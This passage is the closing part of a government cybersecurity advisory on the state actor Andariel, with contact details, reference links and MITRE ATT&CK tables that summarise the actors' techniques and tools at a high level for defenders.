NSA Cybersecurity Report Questions and Feedback: [email protected]
NSA Defense Industrial Base Inquiries and Cybersecurity Services: [email protected]
NSA Media Inquiries / Press Desk: 443-634-0721, [email protected]
Republic of Korea organizations: If you suspect cyber incidents involving state actors, including Andariel, or discover similar cases, please contact the relevant authorities below.
National Intelligence Service: www.nis.go.kr, +82 111
AhnLab Security Emergency Response Center:
Boredhackerblog: http://www.boredhackerblog.info/2022/11/openssl-100-fipps-linux-backdoor-notes.html
Cisco Talos Intelligence blogs:
DCSO blog: https://medium.com/@DCSO_CyTec/andariels-jupiter-malware-and-the-case-of-the-curious-c2-dbfe29f57499
Github.com/ditekshen: https://github.com/ditekshen/detection/blob/master/yara/indicator_packed.yar
JPCERT blogs:
Mandiant blogs:
Microsoft blogs:
NSCS Guidance:
Symantec blog: https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/clasiopa-materials-research
VMware blog: https://blogs.vmware.com/security/2021/12/tigerrat-advanced-adversaries-on-the-prowl.html
WithSecure Labs report: https://labs.withsecure.com/publications/no-pineapple-dprk-targeting-of-medical-research-and-technology-sector
The tactics and techniques referenced in this advisory are identified in Table 3 – Table 12.
| Technique Title | ID | Use |
|---|---|---|
| Gather Victim Org Information | T1591 | The actors gather information about the victim’s organization that can be used during targeting. |
| Gather Victim Host Information | T1592 | The actors gather information about the victim’s hosts that can be used during targeting. |
| Active Scanning | T1595 | The actors execute active reconnaissance scans to gather information that can be used during targeting. |
| Search Open Technical Databases | T1596 | The actors search freely available technical databases for information about victims that can be used during targeting. |
| Technique Title | ID | Use |
|---|---|---|
| OS Credential Dumping | T1003 | The actors attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. |
| Exfiltration Over Alternative Protocol | T1048 | The actors steal data by exfiltrating it over a different protocol than that of the existing command and control channel. |
| Proxy | T1090 | The actors use a connection proxy to direct network traffic between systems or act as intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. |
| Archive Collected Data | T1560 | The actors compress and/or encrypt data that is collected prior to exfiltration. |
| Protocol Tunneling | T1572 | The actors tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. |
| Develop Capabilities: Malware | T1587.001 | The actors develop malware and malware components that can be used during targeting. |
| Develop Capabilities: Exploits | T1587.004 | The actors develop exploits that can be used during targeting. |
| Software Title | ID | Use |
|---|---|---|
| Mimikatz | S0002 | The actors use a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks. |
| AdFind | S0552 | The actors use a free command-line query tool that can be used for gathering information from the Active Directory. |
| Technique Title | ID | Use |
|---|---|---|
| Exploit Public-Facing Application | T1190 | The actors attempt to exploit a weakness in an Internet-facing host or system to initially access a network. |
| Technique Title | ID | Use |
|---|---|---|
| Command and Scripting Interpreter | T1059 | The actors abuse command and script interpreters to execute commands, scripts, or binaries. |
| Technique Title | ID | Use |
|---|---|---|
| Obfuscated Files or Information | T1027 | The actors attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its content on the system or in transit. |
| Technique Title | ID | Use |
|---|---|---|
| OS Credential Dumping | T1003 | The actors attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. |
| Technique Title | ID | Use |
|---|---|---|
| Remote Services | T1021 | The actors use valid accounts to log into a service that accepts remote connections, such as telnet, SSH, and VNC. |
| Remote Services: SMB/Windows Admin Shares | T1021.002 | The actors use valid accounts to interact with a remote network share using Server Message Block (SMB). |
| File and Directory Discovery | T1083 | The actors enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. |
| Account Discovery | T1087 | The actors attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. |
| Technique Title | ID | Use |
|---|---|---|
| Application Layer Protocol | T1071 | The actors establish command and control capabilities over commonly used application layer protocols such as HTTP(S), OPC, telnet, DNP3, and Modbus. |
| Proxy | T1090 | The actors use a connection proxy to direct network traffic between systems or act as an intermediary for network communications. |
| Technique Title | ID | Use |
|---|---|---|
| Data from Network Shared Drive | T1039 | The actors search network shares on computers they have compromised to find files of interest. |
| Exfiltration Over Alternative Protocol | T1048 | The actors steal data by exfiltrating it over a different protocol than that of the existing command and control server. |
| Archive Collected Data | T1560 | The actors compress and/or encrypt data that is collected prior to exfiltration. |
| Exfiltration Over Web Service | T1567 | The actors use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. |